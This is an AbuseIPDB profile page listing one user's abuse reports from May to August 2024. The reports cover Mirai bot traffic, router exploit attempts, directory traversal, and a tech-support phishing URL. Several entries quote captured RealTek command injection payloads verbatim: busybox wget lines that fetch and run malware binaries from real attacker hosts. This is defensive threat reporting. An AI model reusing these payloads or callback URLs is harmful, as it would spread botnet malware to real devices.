HarbertsT - AbuseIPDB User Profile

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User HarbertsT joined AbuseIPDB in November 2022 and has reported 299 IP addresses.

Standing (weight) is good.

ACTIVE USER

IP	Date	Comment	Categories
🇺🇸 104.42.197.251	09 Aug 2024	TCP/80 CNC User-Agent known malicious user-agent string - Mirai	Hacking Web App Attack
🇩🇪 45.145.42.234	07 Aug 2024	UDP/9034 RealTek UDPServer cmd injection attempt Source IP: 45.145.42.234 orf; cd /tmp; rm -rf ... show more UDP/9034 RealTek UDPServer cmd injection attempt Source IP: 45.145.42.234 orf; cd /tmp; rm -rf ; /bin/busybox wget http://45.145.42.234/blink; chmod 777 ; ./blink realtek show less	Hacking Web App Attack
🇮🇳 59.182.132.243	07 Aug 2024	TCP/8443 DD-WRT httpd cgi-bin remote command execution attempt	Hacking Web App Attack
🇮🇳 117.235.115.153	07 Aug 2024	TCP/80 Netgear DGN1000 series routers authentication bypass attempt	Hacking Web App Attack
🇮🇳 61.0.150.14	07 Aug 2024	CNC User-Agent known malicious user-agent string - Mirai Source IP: 61.0.150.14 Accept: / User- ... show more CNC User-Agent known malicious user-agent string - Mirai Source IP: 61.0.150.14 Accept: / User-Agent: Hello, World show less	Hacking Web App Attack
🇮🇳 117.208.241.211	07 Aug 2024	TCP/80 SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt	Hacking Web App Attack
🇨🇳 139.155.1.167	29 Jul 2024	9034 / udp RealTek UDPServer command injection attempt orf;cd /tmp;rm -rf ;/bin/busybox wget http ... show more 9034 / udp RealTek UDPServer command injection attempt orf;cd /tmp;rm -rf ;/bin/busybox wget http://139.155.1.167/blink;chmod 777 *;./blink realtek # show less	Hacking Web App Attack
🇩🇪 77.90.22.16	29 Jul 2024	9034 / udp RealTek UDPServer command injection attempt orf;cd /tmp;rm -rf ;/bin/busybox wget http ... show more 9034 / udp RealTek UDPServer command injection attempt orf;cd /tmp;rm -rf ;/bin/busybox wget http://139.155.1.167/blink;chmod 777 *;./blink realtek # show less	Hacking Web App Attack
🇺🇸 164.92.71.158	15 Jul 2024	Tcp/80 Apache HTTP Server httpd directory traversal attempt Accept: / Upgrade-Insecure-Requests: ... show more Tcp/80 Apache HTTP Server httpd directory traversal attempt Accept: / Upgrade-Insecure-Requests: 1 User-Agent: Custom-AsyncHttpClient show less	Hacking Web App Attack
🇫🇷 77.105.166.74	15 Jul 2024	udp/9034 RealTek UDPServer cmd injection attempt orf;cd /tmp; rm -rf mpsl; /bin/busybox wget ht ... show more udp/9034 RealTek UDPServer cmd injection attempt orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://77.105.166.74/trc/TRC.mpsl; chmod 777 *; ./TRC.mpsl mpsl; show less	Hacking Web App Attack
🇮🇳 59.91.91.55	15 Jul 2024	tcp/80 User-Agent known malicious user-agent string – Mirai User-Agent: Hello, World	Hacking Web App Attack
🇮🇳 103.197.113.120	05 Jul 2024	tcp/80 User-Agent known malicious user-agent string - Mirai User-Agent: Hello, World	Hacking Web App Attack
🇺🇸 70.61.109.130	05 Jul 2024	tcp/80 User-Agent known malicious user-agent string - Mirai User-Agent: Hello, World	Hacking Web App Attack
🇮🇳 117.242.238.25	07 Jun 2024	tcp/80 Netgear DGN1000 series router authentication bypass attempt	Hacking Web App Attack
🇺🇸 146.235.194.245	06 Jun 2024	TCP/80 Apache HTTP Server httpd directory traversal attempt	Hacking Web App Attack
🇮🇳 117.204.206.202	03 Jun 2024	tcp/80 Netgear DGN1000 series routers authentication bypass attempt	Hacking Web App Attack
🇮🇳 117.204.193.175	29 May 2024	TCP/80 (http) User-Agent known malicious user-agent string - Mirai	Hacking Web App Attack
🇺🇸 20.209.226.68	29 May 2024	https://app8d13.z13.web.core.windows.net/Win0security-helpline07/index.html?ph0n=1-866-464-0573 phi ... show more https://app8d13.z13.web.core.windows.net/Win0security-helpline07/index.html?ph0n=1-866-464-0573 phishing, malware hits. The phone number is listed in the Fraud Directory. show less	Phishing Hacking Web App Attack
🇮🇳 117.242.239.219	27 May 2024	tcp/8443 DD-WRT httpd remote comd exec attempt	Hacking Web App Attack
🇩🇪 2.58.113.89	27 May 2024	udp/9034 RealTek UDPServer cmd injection attempt Soruce IP: 2.58.113.89 Callback IP: 104.21.58. ... show more udp/9034 RealTek UDPServer cmd injection attempt Soruce IP: 2.58.113.89 Callback IP: 104.21.58.109 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://server.qxej27mv7hud1uk03kj438ggzby0v7a8mgwwnmky2n9vn1tmcn1qpm8kax84ymn.ru/nznsnSCwZ356pP/Aqua.mpsl; chmod +x Aqua.mpsl; ./Aqua.mpsl mpsl; show less	Hacking Web App Attack
🇺🇸 104.21.58.109	27 May 2024	udp/9034 RealTek UDPServer cmd injection attempt Soruce IP: 2.58.113.89 Callback IP: 104.21.58. ... show more udp/9034 RealTek UDPServer cmd injection attempt Soruce IP: 2.58.113.89 Callback IP: 104.21.58.109 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://server.qxej27mv7hud1uk03kj438ggzby0v7a8mgwwnmky2n9vn1tmcn1qpm8kax84ymn.ru/nznsnSCwZ356pP/Aqua.mpsl; chmod +x Aqua.mpsl; ./Aqua.mpsl mpsl; show less	Hacking Web App Attack
🇳🇱 91.92.252.157	22 May 2024	udp/9034 RealTek UDPServer command injection attempt Source ip: 92.249.48.41 Callback ip: 91.92 ... show more udp/9034 RealTek UDPServer command injection attempt Source ip: 92.249.48.41 Callback ip: 91.92.252.157 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://91.92.252.157/rebirth.mpsl; chmod 777 *; ./rebirth.mpsl; show less	Hacking Web App Attack
🇳🇱 92.249.48.41	22 May 2024	udp/9034 RealTek UDPServer command injection attempt Source ip: 92.249.48.41 Callback ip: 91.92 ... show more udp/9034 RealTek UDPServer command injection attempt Source ip: 92.249.48.41 Callback ip: 91.92.252.157 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://91.92.252.157/rebirth.mpsl; chmod 777 *; ./rebirth.mpsl; show less	Hacking Web App Attack
🇺🇸 37.221.92.97	20 May 2024	udp/9034 RealTek UDPServer command injection attempt source: 37.221.92.97 callback: 94.156.8.78 ... show more udp/9034 RealTek UDPServer command injection attempt source: 37.221.92.97 callback: 94.156.8.78 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://94.156.8.78/static/Aqua.mpsl; chmod +x Aqua.mpsl; ./Aqua.mpsl mpsl; show less	Hacking Web App Attack
🇧🇬 94.156.8.78	20 May 2024	udp/9034 RealTek UDPServer command injection attempt source: 37.221.92.97 callback: 94.156.8.78 ... show more udp/9034 RealTek UDPServer command injection attempt source: 37.221.92.97 callback: 94.156.8.78 orf; cd /tmp; rm -rf mpsl; /bin/busybox wget http://94.156.8.78/static/Aqua.mpsl; chmod +x Aqua.mpsl; ./Aqua.mpsl mpsl; show less	Hacking Web App Attack